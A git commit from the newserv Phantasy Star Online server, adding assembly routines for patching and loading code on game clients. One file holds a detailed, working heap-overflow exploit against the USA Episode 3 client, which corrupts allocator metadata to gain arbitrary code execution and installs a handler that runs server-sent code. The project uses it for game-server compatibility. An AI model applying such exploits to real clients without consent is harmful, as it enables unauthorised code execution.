organize system/client-functions

This commit is contained in:
Martin Michelsen
2024-04-20 10:08:00 -07:00
parent c95b158e4e
commit 741456d1da
253 changed files with 247 additions and 130 deletions
@@ -0,0 +1,89 @@
start:
mflr r7
# If this patch has already been run, then the opcode that led here will
# not be bctrl (4E800421). In that case, do nothing.
lis r3, 0x4E80
ori r3, r3, 0x0421
lwz r4, [r7 - 4]
cmp r3, r4
beq apply_patch
blr
apply_patch:
bl patch_end
.offsetof patch
.offsetof patch_end
patch:
mfctr r6
mr r3, r6
li r4, 0x7C00
.include FlushCachedCode-GC
mtctr r6
bctr
patch_end:
mflr r4
addi r4, r4, 8
lwz r3, [r4 - 8]
lwz r5, [r4 - 4]
sub r5, r5, r3
# At this point:
# r4 = address of patch label
# r5 = patch size in bytes
# r7 = saved LR
# Find a spot in the interrupt handlers with enough memory for the patch
lis r3, 0x8000
ori r3, r3, 0x0200
sub r3, r3, r5
check_location:
rlwinm r0, r5, 30, 2, 31
mtctr r0 # ctr = patch size in words
subi r8, r3, 4
check_location_next_word:
lwzu r0, [r8 + 4]
cmpwi r0, 0
beq check_location_word_ok
addi r3, r3, 0x0100
rlwinm r0, r3, 0, 16, 31
cmpwi r0, 0x1800
blt check_location
# No suitable location was found - return null
li r3, 0
mtlr r7
blr
check_location_word_ok:
bdnz check_location_next_word
location_ok:
mr r6, r3
# Now:
# r3 = destination location
# r4 = patch src data
# r5 = patch size in bytes
# r6 = destination location
# r7 = saved LR
.include CopyCode-GC
setup_branch:
# Replace the bctrl opcode that led to this call with a bl opcode that
# leads to the copied patch code
subi r3, r7, 4
sub r4, r6, r3
rlwinm r4, r4, 0, 6, 31
oris r4, r4, 0x4800
ori r4, r4, 0x0001
stw [r3], r4
dcbst r0, r3
sync
icbi r0, r3
isync
# Return the address that the patch was copied to
mr r3, r6
mtlr r7
blr
@@ -0,0 +1,4 @@
entry_ptr:
.data 0x8000C274
start:
.include CacheClearFix
@@ -0,0 +1,5 @@
entry_ptr:
reloc0:
.offsetof start
start:
.include CacheClearFix
@@ -0,0 +1,60 @@
start:
mflr r7
# If this patch has already been run, then the opcode that led here will
# not be bctrl (4E800421). In that case, do nothing.
lis r3, 0x4E80
ori r3, r3, 0x0421
lwz r4, [r7 - 4]
cmp r3, r4
beq apply_patch
blr
apply_patch:
bl patch_end
.offsetof patch
.offsetof patch_end
patch:
mfctr r6
mr r3, r6
li r4, 0x7C00
.include FlushCachedCode
mtctr r6
bctr
patch_end:
mflr r4
addi r4, r4, 8
lwz r3, [r4 - 8]
lwz r5, [r4 - 4]
sub r5, r5, r3
lis r3, 0x8000
ori r3, r3, 0x01BC
mr r6, r3
# At this point:
# r3 = destination location (overwritten by CopyCode)
# r4 = patch src data (overwritten by CopyCode)
# r5 = patch size in bytes (overwritten by CopyCode)
# r6 = destination location
# r7 = saved LR
.include CopyCode
setup_branch:
# Replace the bctrl opcode that led to this call with a bl opcode that
# leads to the copied patch code
subi r3, r7, 4
sub r4, r6, r3
rlwinm r4, r4, 0, 6, 31
oris r4, r4, 0x4800
ori r4, r4, 0x0001
stw [r3], r4
dcbst r0, r3
sync
icbi r0, r3
isync
# Return the address that the patch was copied to
mr r3, r6
mtlr r7
blr
@@ -0,0 +1,18 @@
# r3 = dest ptr
# r4 = src ptr
# r5 = size
# Clobbers r0, r3, r4, r5
addi r5, r5, 3
rlwinm r5, r5, 30, 2, 31 # r5 = number of words to copy
mtctr r5
subi r3, r3, 4 # r3 = r3 - 4 (so we can use stwu)
subi r4, r4, 4 # r4 = r4 - 4 (so we can use lwzu)
copy_word_again:
lwzu r0, [r4 + 4]
stwu [r3 + 4], r0
bdnz copy_word_again
rlwinm r4, r5, 2, 0, 29
addi r3, r3, 4
sub r3, r3, r4
.include FlushCachedCode
@@ -0,0 +1,13 @@
# r3 = dest ptr
# r4 = src ptr
# r5 = size
# Clobbers r3, r4, r5
addi r5, r5, 3
rlwinm r5, r5, 30, 2, 31 # r5 = number of words to copy
mtctr r5
subi r3, r3, 4 # r3 = r3 - 4 (so we can use stwu)
subi r4, r4, 4 # r4 = r4 - 4 (so we can use lwzu)
copy_word_again:
lwzu r5, [r4 + 4]
stwu [r3 + 4], r5
bdnz copy_word_again
@@ -0,0 +1,351 @@
# There is a buffer overflow bug in PSO Episode 3 that this program uses to
# achieve arbitrary code execution. (This bug is likely present in all versions
# of PSO, but the code here is specific to the USA version of Episode 3.) This
# is only necessary because the non-Japanese versions of Episode 3 lack the B2
# command, which is used on other console PSO versions to send patches and other
# bits of code. Here, we use a buffer overflow bug to re-implement the B2
# command, which allows the server to treat PSO Episode 3 like any other version
# of PSO with respect to patching or loading DOL files.
# For some background, PSO sends download quest files via the A6 and A7
# commands. The A6 command is used to start sending a download quest file; it
# includes the quest name, file name, and total file size. The A7 command is
# used to send a chunk of 1KB (0x400 bytes) of data, or less if it's the final
# chunk of the file. When the client receives an A6 command for a filename
# ending in .bin, it allocates a buffer of (file size + 0x48) bytes. When it
# later receives an A7 command, it copies (cmd.data_size) bytes from the command
# to position (8 + 0x100 * flag) in the buffer, then if cmd.data_size was less
# than 0x400, it marks the file as done and postprocesses it.
# However, the client neglects to check if the last chunk overflows the end of
# the buffer before copying the chunk data. In this function, we send an A6
# command with an overall file size of only 0x18 bytes, then we send a chunk of
# 0x200 or so bytes (the compiled size of the code in this file), which
# overflows past the end of the allocated buffer and overwrites part of a free
# block after the allocated buffer. The memory allocator library keeps some of
# its bookkeeping structures at the beginning of this free block, which we use
# to cause the next call to malloc() to overwrite its own return address on the
# stack. Conveniently, this call happens soon afterward, during the
# postprocessing step.
# The PSO memory allocator is a simple free-list allocator. The allocator
# maintains two linked lists of blocks: one for allocated blocks and one for
# free blocks. The list of free blocks is sorted in order of memory address, but
# the list of allocated blocks is sorted in the order they were allocated. (The
# order of the allocated block list does not matter for the allocator's
# performance or correctness.)
# Each block begins with two pointers, prev and next, which point to other
# blocks in the allocated or free list. (As with a typical doubly-linked list,
# the first block has prev == nullptr and the last block has next == nullptr;
# there is no sentinel node on either end.) After these two pointers is the
# block's size in bytes, followed by 0x14 unused bytes. The block data
# immediately follows this 0x20-byte header structure. All block sizes are
# rounded up to a multiple of 0x20 bytes.
# The malloc() routine simply searches for the first free block that has enough
# space to satisfy the request, and either splits it into an allocated and a
# free block (if the free block's size is at least 0x40 bytes more than the
# requested size), or converts the free block entirely into an allocated block
# and returns it. It is the second case that we take advantage of here.
# When we send our A7 command containing this program, the first 0x58 bytes of
# it fill the quest file data buffer. The next 0x0C bytes of it overwrite the
# header fields of the following free block (noted below in the comments), and
# the remainder of the data goes into that block's unused header fields and the
# block's data (which is also otherwise unused, since it is a free block). We
# overwrite the free block's prev and next pointers with specific nonzero values
# and overwrite the size with the exact size that the caller will request, so we
# trigger the malloc() case that does not split the free block. When that code
# attempts to remove the free block from its doubly-linked list, it writes
# block->next to block->prev->next and block->prev to block->next->prev. We set
# block->prev to the address where we want execution to jump to (the start label
# here), and block->next to the address of malloc()'s return address on the
# stack. This overwrites the return address with the start label's address, and
# overwrites the word after the start label with an address within the stack. We
# can't avoid this second write since both pointers must be non-null and the
# values and addresses written are dependent on each other, but we can just use
# a branch opcode to ignore the value that gets written into our code.
# Once we have control, we clean up the allocator state (restoring the free
# block as it was before we overwrote its header), then copy our implementation
# of the B2 command to an otherwise-unused area of memory and apply a few more
# patches. See the comments within the code below for more details.
# This entry_ptr label isn't used since this code isn't sent with the B2
# command; it just needs to be present for newserv to compile the code properly
entry_ptr:
start:
b resume1
# This is the value overwritten by malloc() when it attempts to remove the
# free block from its linked list
.data 0xAAAAAAAA
resume1:
# We can use any of the caller-save registers (r0, r3-r12) here.
# At entry time, some registers contain useful values:
# r5: Address of the allocator instance ("lists"). This structure includes the
# allocated and free list head pointers, one of which we have to update.
# r12: Address of the malloc() function that was called. Conveniently, the
# address that we should return to is very near this location in memory.
# Compute the LR we should use to return from this function, but don't put it
# in the LR just yet - we're still going to need the LR for other shenanigans
subi r11, r12, 0xB0 # 8038C1B8 - B0 = 8038C108
# Restore the free block whose header we had destroyed with the A7 command
# buffer overflow
lis r7, 0x815F
ori r7, r7, 0xF440
li r0, 0
stw [r7], r0 # free_block->prev = nullptr
stw [r7 + 4], r0 # free_block->next = nullptr
lis r6, 0x001E
ori r6, r6, 0x0960
stw [r7 + 8], r6 # free_block->size = 0x001E0960
stw [r5 + 4], r7 # lists->free_head = free_block
# Restore lists->allocated_head and clear its prev pointer
lis r6, 0x815F
ori r6, r6, 0xF3C0
stw [r5 + 8], r6 # lists->allocated_head = orig_allocated_head
stw [r6], r0 # lists->allocated_head->prev = nullptr
b resume2
# TODO: We can probably use this space for something useful. There must be
# exactly 20 opcodes (0x50 bytes) between resume1 and opaque2.
.zero
.zero
.zero
.zero
.zero
opaque2:
# This block must be exactly here (the number of opcodes above is exactly how
# many will fit in the original buffer), and the 3 words here must have
# exactly these values. This is what causes malloc to overwrite the return
# address on the stack to call this code in the first place.
.data 0x815FF3E8 # free_head->prev
.data 0x80592AC4 # free_head->next
.data 0x00000160 # free_head->size
resume2:
bl get_handle_B2_ptr
# This is the code we're going to use for the B2 command handler, which we
# will copy into an unused area of memory. It's convenient to put it here and
# use a bl opcode to get its address, so this code can be minimally position-
# dependent. Note that this part of the code does not run at the time the A7
# command is received; it will run later if the client receives a B2 command.
handle_B2:
mflr r0
stwu [r1 - 0x40], r1
stw [r1 + 0x44], r0
# Arguments:
# r3 = TProtocol* proto (we use this to call the send function)
# r4 = void* data
# Returns: void
# Stack:
# [r1+08] = B3 XX 0C 00
# [r1+0C] = code section's return value
# [r1+10] = checksum
# [r1+14] = saved ctx argument
# [r1+18] = saved data argument
# We reserved 0x40 bytes on the stack because I was lazy.
stw [r1 + 0x14], r3
stw [r1 + 0x18], r4
# Set up the reply header (B3 XX 0C 00, where XX comes from the B2 command)
lbz r5, [r4 + 1]
rlwinm r5, r5, 16, 8, 15
oris r5, r5, 0xB300
ori r5, r5, 0x0C00
stw [r1 + 0x08], r5
# If there's no code section, skip it. We also write the code section size to
# the return value field (which will be overwritten later if the size is not
# zero). This is because I'm lazy and this gives the behavior we want: the
# code return value is always zero if the code section size is zero.
li r6, 4
lwbrx r5, [r4 + r6] # r5 = code_size
stw [r1 + 0x0C], r5 # response.code_return_value = code_size
cmplwi r5, 0
beq handle_B2_skip_code
# Get the code section base and footer addresses
addi r6, r4, 0x10 # r6 = code base address
add r7, r6, r5
subi r7, r7, 0x20 # r7 = footer address (code base + code size - 0x20)
# Check if there are relocations to do
lwz r8, [r7 + 4] # r8 = num relocations
cmplwi r8, 0
beq handle_B2_skip_relocations
# Execute the relocations
mtctr r8
lwz r8, [r7] # r8 = relocations list offset
add r8, r8, r6 # r8 = relocations list address
subi r8, r8, 2 # Back up one space so we can use lhzu in the loop
mr r10, r6 # relocation pointer = code base address
handle_B2_relocate_again:
lhzu r9, [r8 + 2]
rlwinm r9, r9, 2, 0, 29 # r9 = next_relocation_offset * 4
add r10, r10, r9 # relocation pointer += next_relocation_offset * 4
lwz r9, [r10]
add r9, r9, r6
stw [r10], r9 # (*relocation pointer) += code base address
bdnz handle_B2_relocate_again
handle_B2_skip_relocations:
# Invalidate the caches appropriately for the newly-copied code
lis r0, 0x8000
ori r0, r0, 0xC324
mr r3, r6
mr r4, r5
mtctr r0
bctrl # flush_code(code_base_addr, code_section_size)
# Call the code section and put the return value (byteswapped) on the stack
# Note: flush_code only uses r3, r4, and r5, so we don't need to reload r7
# after the above call
lwz r8, [r7 + 0x10]
lwzx r8, [r8 + r6]
mtctr r8
bctrl
li r8, 0x0C
stwbrx [r1 + r8], r3
handle_B2_skip_code:
# Get the checksum function args
lwz r4, [r1 + 0x18]
li r5, 0x08
lwbrx r3, [r4 + r5] # checksum addr
li r5, 0x0C
lwbrx r4, [r4 + r5] # checksum size
lis r0, 0x8010
ori r0, r0, 0xF834
mtctr r0
bctrl # crc32(checksum_addr, checksum_size)
li r8, 0x10
stwbrx [r1 + r8], r3
# Send the response (B3 command)
lwz r3, [r1 + 0x14]
lwz r4, [r3 + 0x18]
lwz r4, [r4 + 0x28]
mtctr r4
addi r4, r1, 0x08
li r5, 0x0C
bctrl # TProtocol::send_command(ctx, &reply_data, 0x0C)
# Clean up stack and return
lwz r0, [r1 + 0x44]
addi r1, r1, 0x40
mtlr r0
blr
get_handle_B2_ptr:
mflr r9 # r9 = &handle_B2
bl get_handle_B2_end_ptr
get_handle_B2_end_ptr:
mflr r10
subi r10, r10, 8 # r10 = pointer to end of handle_B2
# Copy handle_B2 to 8000BD80, which is normally unused by the game
lis r12, 0x8000
ori r12, r12, 0xBD80 # r12 = 0x8000BD80
sub r7, r10, r9
rlwinm r7, r7, 30, 2, 31 # r7 = number of words to copy
mtctr r7
subi r8, r12, 4 # r8 = r12 - 4 (so we can use stwu)
subi r9, r9, 4 # r9 = r9 - 4 (so we can use lwzu)
copy_handle_B2_word_again:
lwzu r0, [r9 + 4]
stwu [r8 + 4], r0
bdnz copy_handle_B2_word_again
# Invalidate the caches appropriately for the newly-copied code
lis r9, 0x8000
ori r9, r9, 0xC324
mtctr r9
mr r3, r12
rlwinm r4, r7, 2, 0, 29
bctrl # flush_code(copied_B2_handler, copied_B2_handler_bytes)
# Replace the command handler table entry for command 0E (which appears to be
# a legacy command and has very broken behavior) with our B2 implementation
lis r5, 0x8044
ori r5, r5, 0xF684
li r0, 0x00B2
stw [r5], r0
stw [r5 + 0x0C], r12
# Patch both places in the code where command 9E is sent to make them include
# a sentinel value that newserv can use to determine if the client has already
# run the code in this file
bl get_patch_9E_1_ptr
patch_9E_1:
lis r4, 0x5F5C
ori r4, r4, 0xA297
stw [r1 + 0x14], r4 # Set cmd.unused1 to 0x5F5CA297 (in send_9E_long)
get_patch_9E_1_ptr:
lis r3, 0x800F
ori r3, r3, 0x3338
mflr r4
lwz r0, [r4]
stw [r3], r0
lwz r0, [r4 + 4]
stw [r3 + 4], r0
lwz r0, [r4 + 8]
stw [r3 + 8], r0
li r4, 0x20
mtctr r9
bctrl # flush_code(patch_9E_1_dest, 0x20)
bl get_patch_9E_2_ptr
patch_9E_2:
lis r4, 0x5F5C
ori r4, r4, 0xA297
stw [r1 + 0x60], r4 # Set cmd.unused1 to 0x5F5CA297 (in handle_02)
get_patch_9E_2_ptr:
lis r3, 0x800F
ori r3, r3, 0x3644
mflr r4
lwz r0, [r4]
stw [r3], r0
lwz r0, [r4 + 4]
stw [r3 + 4], r0
lwz r0, [r4 + 8]
stw [r3 + 8], r0
li r4, 0x20
mtctr r9
bctrl # flush_code(patch_9E_2_dest, 0x20)
# Finally, patch the A7 handler function (which is on the current callstack)
# so that it does nothing else if this function returns null, which prevents
# further memory corruption. This changes a beq opcode (which never triggers
# under normal circumstances) to skip a couple more function calls, one of
# which would cause memory corruption if executed because the original buffer
# is smaller than 0x100 bytes.
lis r3, 0x8010
ori r3, r3, 0xFD8A
li r4, 0x0064
sth [r3], r4
rlwinm r3, r3, 0, 0, 27
li r4, 0x20
mtctr r9
bctrl # flush_code(patched_opcode_address & 0xFFFFFFF0, 0x20)
# Return null instead of a malloc'ed block, which triggers the conditional
# branch we just patched above
li r3, 0
mtlr r11
blr
@@ -0,0 +1,20 @@
# This code flushes the data cache and invalidates the instruction cache for a
# block of newly-written code in memory.
# Arguments:
# r3 = address of written code
# r4 = number of bytes
# Returns: nothing
# Overwrites: r3, r4, r5
lis r5, 0xFFFF
ori r5, r5, 0xFFF1
and r5, r5, r3
subf r3, r5, r3
add r4, r4, r3
flush_cached_code_writes__again:
dcbst r0, r5
sync
icbi r0, r5
addic r5, r5, 8
subic. r4, r4, 8
bge flush_cached_code_writes__again
isync
@@ -0,0 +1,111 @@
# This code decompresses PRS-compressed data.
# Arguments:
# r3 = destination pointer for decompressed data
# r4 = source pointer for compressed data
# r5 = destination buffer size
# r6 = source data size
# Returns: number of bytes written to output buffer, or -1 on error
# Overwrites: r3, r4, r5, r6, r7, r8, r9, r10, r11, r12
prs_decompress__start:
# r3 = dest ptr (used as write ptr)
subi r3, r3, 1
# r4 = src ptr (used as read ptr)
subi r4, r4, 1
# r5 = dest size (converted to ptr to last valid output byte)
add r5, r5, r3
# r6 = src size (converted to ptr to last valid input byte)
add r6, r6, r4
# r7 = control bits + guard bits
li r7, 0
# r8 = temp for offset/count
# r9 = original dest ptr - 1 (used for computing return value)
mr r9, r3
# r10 = temp for reading/writing data
# r11 = second-level saved LR, temp for offset/count
# r12 = saved LR
mflr r12
prs_decompress__next_opcode:
bl prs_decompress__cmp_control_bit_and_return_in_r10
beq prs_decompress__control_0
prs_decompress__control_1:
bl prs_decompress__read_byte_to_r10
bl prs_decompress__write_byte_from_r10
b prs_decompress__next_opcode
prs_decompress__control_0:
bl prs_decompress__cmp_control_bit_and_return_in_r10
beq prs_decompress__control_00
prs_decompress__control_01:
bl prs_decompress__read_byte_to_r10
rlwinm r8, r10, 29, 27, 31 # low 5 bits of offset
rlwinm r11, r10, 0, 29, 31 # size
addi r11, r11, 2
bl prs_decompress__read_byte_to_r10
rlwimi. r8, r10, 5, 19, 26 # high 8 bits of offset
bne prs_decompress__control_01_not_stop_opcode
sub r3, r3, r9
mtlr r12
blr
prs_decompress__control_01_not_stop_opcode:
ori r8, r8, 0xE000
cmplwi r11, 2
bne prs_decompress__control_01_not_extended_count
bl prs_decompress__read_byte_to_r10
addi r11, r10, 1
prs_decompress__control_01_not_extended_count:
mtctr r11
b prs_decompress__control_00_01_copy
prs_decompress__control_00:
bl prs_decompress__cmp_control_bit_and_return_in_r10
rlwinm r11, r10, 1, 30, 30
bl prs_decompress__cmp_control_bit_and_return_in_r10
rlwimi r11, r10, 0, 31, 31
addi r11, r11, 2
mtctr r11
bl prs_decompress__read_byte_to_r10
ori r8, r10, 0xFF00
prs_decompress__control_00_01_copy:
# r8 = src offset (negative 16-bit value)
# ctr = byte count to copy
oris r8, r8, 0xFFFF
add r8, r8, r3 # r8 = copy src ptr (minus 1, for lbzu)
prs_decompress__control_00_01_copy_again:
lbzu r10, [r8 + 1]
bl prs_decompress__write_byte_from_r10
bdnz prs_decompress__control_00_01_copy_again
b prs_decompress__next_opcode
prs_decompress__cmp_control_bit_and_return_in_r10:
andi. r10, r7, 0x0100
bne prs_decompress__skip_read
mflr r8
bl prs_decompress__read_byte_to_r10
mtlr r8
mr r7, r10
ori r7, r7, 0xFF00
prs_decompress__skip_read:
andi. r10, r7, 1
rlwinm r7, r7, 31, 17, 31
blr
prs_decompress__read_byte_to_r10:
cmp r4, r6
bge prs_decompress__return_error
lbzu r10, [r4 + 1]
blr
prs_decompress__write_byte_from_r10:
cmp r3, r5
bge prs_decompress__return_error
stbu [r3 + 1], r10
blr
prs_decompress__return_error:
li r3, -1
mtlr r12
blr
@@ -0,0 +1,20 @@
# This function is required for loading DOLs. If it's not present, newserv can't
# serve DOL files to GameCube clients.
.meta index=E0
entry_ptr:
reloc0:
.offsetof start
start:
mflr r12
bl read
address:
.zero
read:
mflr r3
lwz r3, [r3]
lwz r3, [r3]
mtlr r12
blr
+150
View File
@@ -0,0 +1,150 @@
# This function is required for loading DOLs. If it's not present, newserv can't
# serve DOL files to GameCube clients.
.meta index=E2
entry_ptr:
reloc0:
.offsetof start
start:
disable_interrupts:
mfmsr r3
rlwinm r3, r3, 0, 17, 15
mtmsr r3
bl get_current_addr
dol_base_ptr:
.zero
get_current_addr:
mflr r31
# TODO: It'd be nice to be able to use an expression for the immediate value
# here - something like (dol_base_ptr - start), for example
subi r31, r31, 0x10 # r31 = base of data to copy to low memory (start label)
# If this code is not running from low memory (80001800-80003000), then copy
# it there and branch to it
lis r3, 0x8000
ori r3, r3, 0x3000
cmp r31, r3
blt run_dol
copy_code_to_low_memory:
bl get_end_ptr
sub r30, r3, r31 # r30 = size of code to copy (for cache flushing later)
subi r5, r3, 4 # r5 = end ptr
subi r4, r31, 4
lis r3, 0x8000
ori r3, r3, 0x17FC
copy_code_to_low_memory__again:
lwzu r0, [r4 + 4]
stwu [r3 + 4], r0
cmp r4, r5
bne copy_code_to_low_memory__again
# Flush the data cache and clear the instruction cache before running the
# moved code
lis r3, 0x8000
ori r3, r3, 0x1800
mr r4, r30
mtlr r3
b flush_cached_code_writes
run_dol:
lwz r30, [r31 + 0x10] # r30 = data base ptr
# Decompress the file first. If the compressed size is zero, then skip this
# step (the file is not compressed). The header consists of two fields:
# compressed size followed by decompressed size.
lwz r6, [r30]
cmplwi r6, 0
beq run_dol__not_compressed
lwz r5, [r30 + 4]
addi r4, r30, 8 # Compressed data immediately follows the 2 header fields
sub r3, r30, r5 # Decompress to immediately before the compressed data
mr r30, r3 # Save DOL header pointer for after decompression
bl prs_decompress
b run_dol__decompressed
run_dol__not_compressed:
addi r30, r30, 8
run_dol__decompressed:
# DOL files are very simple: they have up to 7 text sections, up to 11 data
# sections, and a BSS section and an entrypoint. No imports or other fancy
# things to do - we just have to move a bunch of bytes around.
mr r29, r30 # r29 = DOL header iterator
addi r28, r29, 0x48 # r28 = DOL header iterator end value
run_dol__move_section:
lwz r4, [r29] # r4 = file offset of section data
add r4, r4, r30 # r4 = address of section data
lwz r3, [r29 + 0x48] # r3 = dest address of section data
lwz r5, [r29 + 0x90] # r5 = number of bytes to move
cmplwi r5, 0 # If size is 0, skip the section entirely
beq skip_section
subi r3, r3, 1
subi r4, r4, 1
add r5, r4, r5 # r5 = source end pointer
run_dol__move_section_data__again:
# TODO: We probably should implement memmove-like semantics here, in case the
# DOL loads at an unusually late address. This is probably very rare.
lbzu r0, [r4 + 1]
stbu [r3 + 1], r0
cmp r4, r5
bne run_dol__move_section_data__again
# Flush the data cache and invalidate the instruction cache after copying the
# section data. Technically we don't have to do this for data sections, but
# I'm lazy and it doesn't take too long.
lwz r3, [r29 + 0x48] # r3 = dest address of section data
lwz r4, [r29 + 0x90] # r4 = size of section data
bl flush_cached_code_writes
skip_section:
# Move to the next section
addi r29, r29, 4
cmp r29, r28
bne run_dol__move_section
run_dol__zero_bss:
lwz r3, [r30 + 0xD8] # r3 = BSS address
lwz r4, [r30 + 0xDC] # r4 = BSS size
cmplwi r4, 0
beq run_dol__skip_zero_bss
add r4, r3, r4 # r4 = BSS end address
subi r3, r3, 1
li r0, 0
run_dol__zero_bss__again:
stbu [r3 + 1], r0
cmp r3, r4
bne run_dol__zero_bss__again
run_dol__skip_zero_bss:
run_dol__go_to_entrypoint:
lwz r0, [r30 + 0xE0] # r30 = entrypoint
mtctr r0
bctr
flush_cached_code_writes:
.include FlushCachedCode
blr
prs_decompress:
.include PRSDecompress
return_end_ptr:
mflr r3
bctr
get_end_ptr:
mflr r0
mtctr r0
bl return_end_ptr
@@ -0,0 +1,61 @@
# This function returns the game version, with values more specific than can be
# detected by the sub_version field in the various login commands (e.g. 93/9D).
# The returned value has the format SSPPRRVV, where:
# S = version (31 = PSOv1, 32 = PSOv2)
# G = game (4F = PSO)
# R = region (45 = E, 4A = J, 50 = P)
# V = minor version (31 = NTE, 32 = 11/2000, 33 = 12/2000, 24 = 01/2001,
# 35 = 08/2001, 46 = not a prototype)
# This results in a 4-character ASCII-printable version code which encodes all
# of the above information. This value is called specific_version in the places
# where it's used by the server.
entry_ptr:
reloc0:
.offsetof start
start:
mova r0, [data_start]
mov r1, r0
mov.l r2, [r1]+ # target value
again:
mov.l r0, [r1]+ # candidate address
cmpeq r0, 0
bt done # return 0 if no version matched
mov.l r0, [r0] # value from candidate address
cmpeq r0, r2
mov.l r0, [r1]+ # specific_version from this match
bf again
nop
done:
rets
nop
.align 4
data_start:
.data 0x61657244
.data 0x8C239D78 # v1 NTE
.data 0x314F4A31 # 1OJ1
.data 0x8C24CA24 # v1 11/2000
.data 0x314F4A32 # 1OJ2
.data 0x8C2873AC # v1 12/2000
.data 0x314F4A33 # 1OJ3
.data 0x8C28B04C # v1 01/2001
.data 0x314F4A34 # 1OJ4
.data 0x8C291E34 # v1 JP
.data 0x314F4A46 # 1OJF
.data 0x8C28B924 # v1 USA
.data 0x314F4546 # 1OEF
.data 0x8C28B3F4 # v1 EU
.data 0x314F5046 # 1OPF
.data 0x8C2F3748 # v2 08/2001
.data 0x324F4A35 # 2OJ5
.data 0x8C2F11D0 # v2 JP
.data 0x324F4A46 # 2OJF
.data 0x8C2F3738 # v2 USA
.data 0x324F4546 # 2OEF
.data 0x8C2E7CE0 # v2 EU
.data 0x324F5046 # 2OPF
.data 0x00000000 # end sentinel
@@ -0,0 +1,39 @@
# This function returns the game version, with values more specific than can be
# detected by the sub_version field in the various login commands (e.g. 9D/9E).
# The returned value has the format SSGGRRVV, where:
# S = 33 (which represents PSO GC)
# G = game (4F (O) = Ep1&2, 53 (S) = Ep3)
# R = region (45 (E), 4A (J), or 50 (P))
# V = minor version | 30 (30 = 1.0, 31 = 1.1, 32 = 1.2, etc.), or 54 for NTE
# This results in a 4-character ASCII-printable version code which encodes all
# of the above information. This value is called specific_version in the places
# where it's used by the server.
entry_ptr:
reloc0:
.offsetof start
start:
lis r3, 0x8000
lwz r4, [r3]
# For Trial Editions, set the V field to 54; for other versions, set it to
# 0x30 | disc_version
rlwinm r0, r4, 8, 24, 31
cmplwi r0, 0x47 # Check if high byte of game ID is 'G'
beq not_trial
cmplwi r0, 0x44 # Check if high byte of game ID is 'D'
beq is_nte
li r3, 0
blr
is_nte:
li r3, 0x0054
b end_trial_check
not_trial:
lbz r3, [r3 + 7]
ori r3, r3, 0x0030
end_trial_check:
oris r3, r3, 0x3300 # Set high byte ('3')
rlwimi r3, r4, 8, 8, 23 # Set middle two bytes to last to bytes of game ID
blr
@@ -0,0 +1,54 @@
# Returns the client specific_version in eax and the address of the
# MmSetAddressProtect function pointer in ecx, which is immediately followed by
# the MmQueryAddressProtect function pointer.
start:
mov ecx, 0x61657244
# JP beta
mov eax, 0x344F4A42
mov edx, 0x00400578
cmp [0x0043D460], ecx
je done
# JP disc
mov eax, 0x344F4A44
mov edx, 0x00400918
cmp [0x0043D7D0], ecx
je done
# JP title update
mov eax, 0x344F4A55
mov edx, 0x00403E3C
cmp [0x00440FE0], ecx
je done
# US disc
mov eax, 0x344F4544
mov edx, 0x00404518
cmp [0x0044174C], ecx
je done
# US title update
mov eax, 0x344F4555
mov edx, 0x00403E3C
cmp [0x00440FEC], ecx
je done
# EU disc
mov eax, 0x344F5044
mov edx, 0x00404538
cmp [0x00441768], ecx
je done
# EU title update
mov eax, 0x344F5055
mov edx, 0x0040491C
cmp [0x00441AF8], ecx
je done
# Unknown version
mov eax, 0x344F0000
xor edx, edx
done:
@@ -0,0 +1,18 @@
# This function returns the game version, with values more specific than can be
# detected by the sub_version field in the various login commands (e.g. 9D/9E).
# The returned value has the format SSSSRRVV, where:
# S = 344F (which represents PSO Xbox)
# R = region (45 (E), 4A (J), or 50 (P))
# V = version (42 (B) for beta, 44 (D) for disc, 55 (U) for title update)
# This results in a 4-character ASCII-printable version code which encodes all
# of the above information. This value is called specific_version in the places
# where it's used by the server.
entry_ptr:
reloc0:
.offsetof start
start:
.include VersionDetectWithPatchFunctionsXB
ret
@@ -0,0 +1,20 @@
mflr r8
b get_patch_data_ptr
get_patch_data_ptr_ret:
mflr r7 # r7 = patch header
apply_patch:
addi r4, r7, 8 # r4 = start of patch data
lwz r3, [r4 - 8] # r3 = patch dest address
lwz r5, [r4 - 4] # r5 = patch data size
or r0, r3, r5
cmplwi r0, 0
mtlr r8
beqlr
add r7, r4, r5 # r7 = next patch header
.include CopyCode
b apply_patch
get_patch_data_ptr:
bl get_patch_data_ptr_ret
first_patch_header:
@@ -0,0 +1,56 @@
start:
.include VersionDetectWithPatchFunctionsXB
xor eax, eax
cmp edx, 0
jne can_patch
ret
can_patch:
push esi
push edi
push ebx
mov edi, edx # edi = ptr to useful kernel function ptrs
jmp get_patch_data_ptr
get_patch_data_ptr_ret:
pop ebx # ebx = patch header
apply_next_patch:
cmp dword [ebx + 4], 0
jne copy_code_and_apply_again
pop ebx
pop edi
pop esi
mov eax, 1
ret
copy_code_and_apply_again:
push dword [ebx] # dest addr
call [edi + 4] # MmQueryAddressProtect
mov esi, eax # esi = prev protection flags
push 4 # new protection flags
push dword [ebx + 4] # size
push dword [ebx] # base address
call [edi] # MmSetAddressProtect
xor ecx, ecx # ecx = offset
mov edx, [ebx] # edx = dest addr
copy_next_byte:
mov al, [ebx + ecx + 8] # copy one byte to dest
mov [edx + ecx], al
inc ecx # offset++
cmp [ebx + 4], ecx # check if all bytes have been copied
jne copy_next_byte
push esi # new protection flags
push dword [ebx + 4] # size
push dword [ebx] # base address
lea ebx, [ebx + ecx + 8] # advance to next block
call [edi] # MmSetAddressProtect
jmp apply_next_patch
get_patch_data_ptr:
call get_patch_data_ptr_ret
first_patch_header:
@@ -0,0 +1,135 @@
# This function is required for loading DOLs. If it's not present, newserv can't
# serve DOL files to GameCube clients.
# This is also the file I've chosen to document how to write code for newserv's
# functions subsystem. There are three kinds of functions: includes, patches,
# and general functions. This file, WriteMemory, is a general function. It
# writes a variable-length block of data to a specified address in the client's
# memory.
# Includes are snippets of code that are intended to be used as part of other
# functions and patches. These files' names end with .inc.s. These can be used
# with the .include directive; there is an example of this in the code below.
# Patches are functions that are available to run upon client request. They can
# be made available in the Patches menu or via the $patch command. Patches
# should be named like PATCHNAME.VXLS.patch.s, where V, X, L, and S denote which
# specific game version the patch is for. Specifically:
# V should be 3 for PSO GameCube, 4 for PSO Xbox, 5 for PSO BB
# X should be O for GC Episodes 1 & 2, S for GC Episode 3, 0 for Xbox
# L should be E, J, or P for USA, Japanese, or Europe
# S should be 0, 1, 2, etc. for the GC disc version (0 = 1.0, 1 = 1.1, etc.)
# On Xbox, S is B (beta), D (disc), or U (title update)
# (For the curious, these four-character version codes directly match the
